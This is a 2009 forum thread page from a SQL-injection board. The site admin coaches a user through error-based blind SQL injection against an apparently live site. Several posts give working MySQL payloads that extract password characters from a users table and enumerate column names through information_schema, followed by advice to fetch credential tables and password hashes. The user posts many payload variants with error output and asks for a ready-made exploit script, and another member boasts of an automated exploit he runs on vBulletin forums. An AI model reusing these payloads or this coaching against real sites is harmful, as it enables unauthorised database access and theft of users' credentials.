|
|
|
|
|
|
IT Security and Insecurity Portal |
|
Posted: Tue May 12, 2009 9:27 am |
|
|
tehhunter |
Valuable expert |
|
|
Joined: Nov 19, 2008 |
Posts: 261 |
|
|
|
|
|
|
|
cr4ps if you know programming at all (like pretty much any program) you can write one to automate the process. I did that, and as a result I have an exploit that works pretty well on many vbulletin forums with a common addon, and I use it all the time (actually, even right now). |
|
|
|
|
|
|
|
|
Posted: Wed May 13, 2009 11:11 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
waraxe wrote: | cr4ps wrote: | what's error-based feedback |
If you try this two tests:
Code: |
z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
Code: |
z' AND IF(LENGTH(@@version)>100,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
... then you should see different error messages. It means, that you can distinct between "true" and "false".
In this way you are able to ask questions and get answers, bit-by-bit.
http://www.owasp.org/index.php/Blind_SQL_Injection |
Thank's waraxe , It's working . . But how I can select a column from a table name?
Code: | z' AND IF(ascii(lower(substring(database(),1,1)))>5,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
I want to select another column name called "passwd" from table name called "users" , so? |
|
|
|
|
|
|
|
|
Posted: Wed May 13, 2009 11:26 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This will test first password character of first user, ordered by first column in ascending direction, for having greater ascii code than 41.
Code: |
z' AND IF((SELECT ORD(SUBSTRING(passwd,1,1)) FROM users ORDER BY 1 ASC LIMIT 0,1)>41,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
|
|
|
|
|
|
|
|
|
Posted: Wed May 13, 2009 12:00 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
waraxe wrote: | This will test first password character of first user, ordered by first column in ascending direction, for having greater ascii code than 41.
Code: |
z' AND IF((SELECT ORD(SUBSTRING(passwd,1,1)) FROM users ORDER BY 1 ASC LIMIT 0,1)>41,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
|
Thank"s waraxe , working . . .
so? I want to display the columns of this table name "utilisateurs" , so it's right? my requet I mean . . . Correct me if i'm wrong pls.
Code: | z' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name="utilisateurs" ORDER BY 1 ASC LIMIT 1,1)>1 |
|
|
|
|
|
|
|
|
|
Posted: Thu May 14, 2009 2:53 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This sql injection can work only bit-by-bit, as I said before. So you can't "display" information, you must "ask" many boolean questions and from answers you are able to construct needed information. This means >10 request per char, so for example 6-char long column name needs >60 requests. You can do this manually, but it's easier to write small script in Php, Perl, Python, Ruby or whatever your favorite programming language is.
And your previous sql query is incomplete. Try this:
Code: |
z' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
|
|
|
|
|
Posted: Mon May 18, 2009 2:55 pm |
|
|
badrh0 |
Active user |
|
|
Joined: Jul 06, 2008 |
Posts: 32 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Tue May 19, 2009 8:08 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Hi WARAXE
Hi All
(I'm french, sorry for my bad english) > >
I have a result
By error-based feedback
Code: | a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
The result : hdddmldd
but if i try this
Code: | ' or hdddmldd='a'/* |
MySQL Error : 1054:Unknown column 'hdddmldd' in 'where clause'
So |
|
|
|
|
Posted: Fri May 22, 2009 12:11 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
nobody can help me ? |
|
|
|
|
Posted: Mon May 25, 2009 11:59 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Plz waraxe I need your answer |
|
|
|
|
Posted: Mon May 25, 2009 4:48 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
cr4ps wrote: | Plz waraxe I need your answer |
I think, that column names you got, are somehow invalid. It means that either your automated script works incorrectly or you have to try various sql query variations in order to get information retrieval usable. |
|
|
|
|
|
|
|
|
Posted: Wed May 27, 2009 4:06 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
like this ? ( exmpel ) Correct me if i'm wrong pls.
Code: | a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>[color=red]72[/color],(SELECT 1 UNION ALL SELECT 1),'2')='1 |
MySQL Error : 1242:Subquery returns more than 1 row
Code: | a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>[color=red]73[/color],(SELECT 1 UNION ALL SELECT 1),'2')='1 |
You specified an incorrect username or password invalid.
Code: |
a' AND IF((SELECT ORD(SUBSTRING(column_name,2,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>83,(SELECT 1 UNION ALL SELECT 1),'2')='1
a' AND IF((SELECT ORD(SUBSTRING(column_name,3,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>96,(SELECT 1 UNION ALL SELECT 1),'2')='1
a' AND IF((SELECT ORD(SUBSTRING(column_name,4,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>101,(SELECT 1 UNION ALL SELECT 1),'2')='1
a' AND IF((SELECT ORD(SUBSTRING(column_name,5,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 1,1)>103,(SELECT 1 UNION ALL SELECT 1),'2')='1
_______________________________________________________
a' AND IF((SELECT ORD(SUBSTRING(column_name,1,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 2,1)>87,(SELECT 1 UNION ALL SELECT 1),'2')='1
a' AND IF((SELECT ORD(SUBSTRING(column_name,2,1)) FROM information_schema.columns where table_name='utilisateurs' ORDER BY 1 ASC LIMIT 2,1)>97,(SELECT 1 UNION ALL SELECT 1),'2')='1
..................... |
thank's for any help |
|
|
|
|
|
|
|
|
Posted: Wed May 27, 2009 5:31 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
This is too complex problem and I'm not able to help you considering limited information I have. But as I said before - try sql query variations. Because this is not the only one possible query that works. Be creative, experiment. This is something I can't and will not do for you, it's your chance to learn new things by trial/error. |
|
|
|
|
Posted: Sat Jun 20, 2009 8:42 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Thank you for that, but the probleme is that i don't know using SQL query variations ! |
|
|
|
|
Posted: Sat Jun 20, 2009 6:56 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
cr4ps wrote: | Thank you for that, but the probleme is that i don't know using SQL query variations ! |
This is the borderline between easy hacks and difficult hacks. I'm not able to help you from distance with minimal knowledge of related information. And besides my free time is limited ... |
|
|
|
|
|
|
|
|
Posted: Mon Jun 22, 2009 11:26 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
waraxe wrote: | It seems, that you have mysql version 5.x with information_schema. And you can exploit this via error-based feedback.
But you can fetch data only bit-by-bit, asking boolean questions. So you definitely need some sort of script or program, which can automate the process.
Doing this manually is too time consuming and error prone.
First you can use information_schema.tables for finding out interesting tables and then information_schema.columns can get you column names.
Then look for credentials table and try to fetch usernames and password hashes (or plaintext passwords). |
ok, so thank you for all explain, but please can you make for me a script to exploit that ?
i think, i have done an error in the request
plz waraxe |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 2
Goto page Previous1, 2
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|